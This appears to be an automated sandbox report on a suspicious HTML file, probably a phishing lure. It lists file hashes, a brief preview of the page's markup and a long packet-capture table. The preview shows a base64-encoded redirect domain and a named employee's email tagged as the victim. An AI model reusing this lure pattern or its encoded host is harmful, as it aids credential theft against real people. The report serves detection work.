URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (3843), with CRLF line terminators
Entropy (8bit):	4.405628932959195
TrID:	HyperText Markup Language (15015/1) 55.58% HyperText Markup Language (12001/1) 44.42%
File name:	0055-fac_aftral.com_Thursday, June 20, 2024.html
File size:	5'510 bytes
MD5:	9c7e16f7309a43a052ac4dab2b8ef3dc
SHA1:	f196a48fa0500bbd3d0026a0dd9becaedf5412ce
SHA256:	1af1b9613b1a8f17868472d133484d4590554a4d4706cecdfec8a7b3d59a5b10
SHA512:	141a8ee7af46f62142a57c5019577d0a1c0996d7000eabad6ebddcd33f43e015eaca5488f60dae38ea62444343d824852028123db96705a55d1ee14e51ad33ba
SSDEEP:	96:xV2uaauzTHsfqmwVP/F/2WOAYOL/6iLwOwdOFLnOXOO1sQK7v:xfNfqmwVP/EWOAYA6RZRsB
TLSH:	36B1583CB863D44ED9B76DBBFCA42A58C0054E87EACCA794042C84522FF42E875287E5
File Content Preview:	<!DOCTYPE html>..<html point="aHR0cHM6Ly9maXZlcmFkaW8tbmV3YmFtLmNvbQ==" id="html" sti="VlZORlVqSXhNRFV5TURJMFZVNUpVVlZGTVRBek1UQTFNakV5TkRJd01qUXlNREkwTURVeU1UTXhNVEF5TkE9PQ==" vic="michael.deretz@aftral.com" lang="en">....<head>....</head>....<body id="a

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 20, 2024 13:54:18.925396919 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:18.925482988 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:18.925627947 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:18.925760031 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:18.925784111 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:18.928610086 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:18.928627968 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:18.928684950 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:18.928955078 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:18.928965092 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:19.428905964 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.429796934 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.429862022 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.431951046 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.432038069 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.434415102 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.434509039 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.435633898 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.435652018 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.484759092 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.567426920 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.567559004 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.567639112 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.567681074 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.567709923 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.567764044 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.567795038 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.567945957 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.567987919 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.568018913 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.568114042 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.568200111 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.568252087 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.568268061 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.568387032 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.568437099 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.568449020 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.568501949 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.571954966 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.636023998 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.656409025 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:19.657601118 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.657785892 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.657872915 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.657941103 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.657959938 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.657994032 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.658046007 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.658083916 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.658232927 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.658279896 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.658309937 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.658361912 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.658377886 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.658468008 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.658519983 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.658533096 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.658938885 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.658987045 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.658998966 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.659089088 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.659162998 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.659208059 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.659220934 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.659358978 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.659476995 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:19.659491062 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:19.659724951 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.659874916 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.659923077 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.659934998 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.660022974 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.660077095 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.660089016 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.660383940 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:19.660435915 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:19.660569906 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.660682917 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.660734892 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.660748005 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.660797119 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.660808086 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.660892963 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.660943985 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.660955906 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.664830923 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:19.664884090 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:19.665049076 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:19.665055037 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:19.707792044 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:19.707803965 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.748502016 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.748864889 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.748888969 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.748927116 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.748963118 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.749000072 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.749030113 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.749108076 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.749124050 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.749169111 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.749180079 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.749213934 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.749285936 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.749299049 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.749483109 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.749700069 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.749767065 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.749792099 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.749864101 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.750416994 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.750504971 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.750535965 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.750600100 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.750782967 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.750857115 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.751391888 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.751466036 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.751482010 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.751533031 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.751580954 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.751737118 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.751799107 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.752115011 CEST	49700	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:19.752146006 CEST	443	49700	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:19.914180994 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:19.919084072 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:19.919102907 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:19.919116974 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:19.919172049 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:19.919189930 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:19.919202089 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:19.919230938 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:20.002654076 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:20.002680063 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:20.002758026 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:20.002774000 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:20.003463030 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:20.003947020 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:20.003982067 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:20.004014015 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:20.004018068 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:20.004036903 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:20.004050016 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:20.004057884 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:20.004090071 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:20.004281998 CEST	49701	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:20.004292011 CEST	443	49701	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:20.040508986 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:20.040599108 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:20.040704966 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:20.041966915 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:20.042004108 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:20.050520897 CEST	49703	443	192.168.2.16	13.107.246.43
Jun 20, 2024 13:54:20.050636053 CEST	443	49703	13.107.246.43	192.168.2.16
Jun 20, 2024 13:54:20.050729036 CEST	49703	443	192.168.2.16	13.107.246.43
Jun 20, 2024 13:54:20.050738096 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.050776958 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.051062107 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.051076889 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.051099062 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.051126003 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.051224947 CEST	49706	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.051233053 CEST	443	49706	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.051284075 CEST	49706	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.051359892 CEST	49707	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.051371098 CEST	443	49707	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.051436901 CEST	49707	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.051646948 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:20.051737070 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:20.051814079 CEST	49703	443	192.168.2.16	13.107.246.43
Jun 20, 2024 13:54:20.051848888 CEST	443	49703	13.107.246.43	192.168.2.16
Jun 20, 2024 13:54:20.051866055 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:20.051955938 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.051965952 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.052078009 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.052097082 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.052202940 CEST	49706	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.052212954 CEST	443	49706	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.052408934 CEST	49707	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.052433014 CEST	443	49707	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.052791119 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:20.052828074 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:20.611949921 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.612220049 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.612242937 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.613327026 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.613396883 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.614592075 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.614655018 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.614773989 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.614783049 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.635093927 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.635500908 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.635524035 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.639234066 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.639331102 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.639651060 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.639816999 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.639836073 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.658617973 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.680529118 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.689769030 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.689775944 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.694351912 CEST	443	49706	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.694545031 CEST	443	49707	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.694637060 CEST	49706	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.694643974 CEST	443	49706	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.694807053 CEST	49707	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.694819927 CEST	443	49707	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.695487976 CEST	443	49706	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.695549011 CEST	49706	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.695672989 CEST	443	49707	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.695735931 CEST	49707	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.695952892 CEST	49706	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.696002007 CEST	443	49706	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.696321011 CEST	49707	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.696376085 CEST	443	49707	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.696511984 CEST	49706	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.696516991 CEST	443	49706	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.696574926 CEST	49707	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.696584940 CEST	443	49707	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.710664988 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.710737944 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.710800886 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.710819960 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.710865021 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.710907936 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.711529016 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.711549044 CEST	443	49704	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.711560965 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.711590052 CEST	49704	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.715178967 CEST	443	49703	13.107.246.43	192.168.2.16
Jun 20, 2024 13:54:20.716027021 CEST	49703	443	192.168.2.16	13.107.246.43
Jun 20, 2024 13:54:20.716067076 CEST	443	49703	13.107.246.43	192.168.2.16
Jun 20, 2024 13:54:20.717117071 CEST	443	49703	13.107.246.43	192.168.2.16
Jun 20, 2024 13:54:20.717190027 CEST	49703	443	192.168.2.16	13.107.246.43
Jun 20, 2024 13:54:20.718256950 CEST	49703	443	192.168.2.16	13.107.246.43
Jun 20, 2024 13:54:20.718326092 CEST	443	49703	13.107.246.43	192.168.2.16
Jun 20, 2024 13:54:20.718440056 CEST	49703	443	192.168.2.16	13.107.246.43
Jun 20, 2024 13:54:20.718461037 CEST	443	49703	13.107.246.43	192.168.2.16
Jun 20, 2024 13:54:20.725286007 CEST	49711	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.725332022 CEST	443	49711	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:20.725405931 CEST	49711	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.725609064 CEST	49711	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.725625992 CEST	443	49711	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:20.737770081 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.737770081 CEST	49706	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.737773895 CEST	49707	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.739541054 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.739561081 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.739626884 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.739634037 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.739701986 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.739752054 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.740381956 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.740395069 CEST	443	49705	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.740402937 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.740442038 CEST	49705	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.743015051 CEST	49712	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.743104935 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:20.743205070 CEST	49712	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.743453026 CEST	49712	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.743489981 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:20.769758940 CEST	49703	443	192.168.2.16	13.107.246.43
Jun 20, 2024 13:54:20.794739962 CEST	443	49707	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.794781923 CEST	443	49707	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.795069933 CEST	49707	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.795306921 CEST	443	49706	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.795353889 CEST	443	49706	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.795393944 CEST	49706	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.796192884 CEST	49707	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.796220064 CEST	443	49707	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.797489882 CEST	49706	443	192.168.2.16	13.107.246.45
Jun 20, 2024 13:54:20.797497988 CEST	443	49706	13.107.246.45	192.168.2.16
Jun 20, 2024 13:54:20.801332951 CEST	49713	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.801419973 CEST	443	49713	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:20.801507950 CEST	49713	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.802339077 CEST	49714	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.802361965 CEST	443	49714	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:20.802437067 CEST	49714	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.802589893 CEST	49713	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.802623987 CEST	443	49713	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:20.802954912 CEST	49714	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:20.802979946 CEST	443	49714	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:20.874525070 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:20.874866009 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:20.874898911 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:20.875941038 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:20.876027107 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:20.877217054 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:20.877284050 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:20.877401114 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:20.877409935 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:20.885750055 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:20.886042118 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:20.886105061 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:20.887748957 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:20.887842894 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:20.888761997 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:20.888863087 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:20.888904095 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:20.928767920 CEST	49702	443	192.168.2.16	192.229.133.221
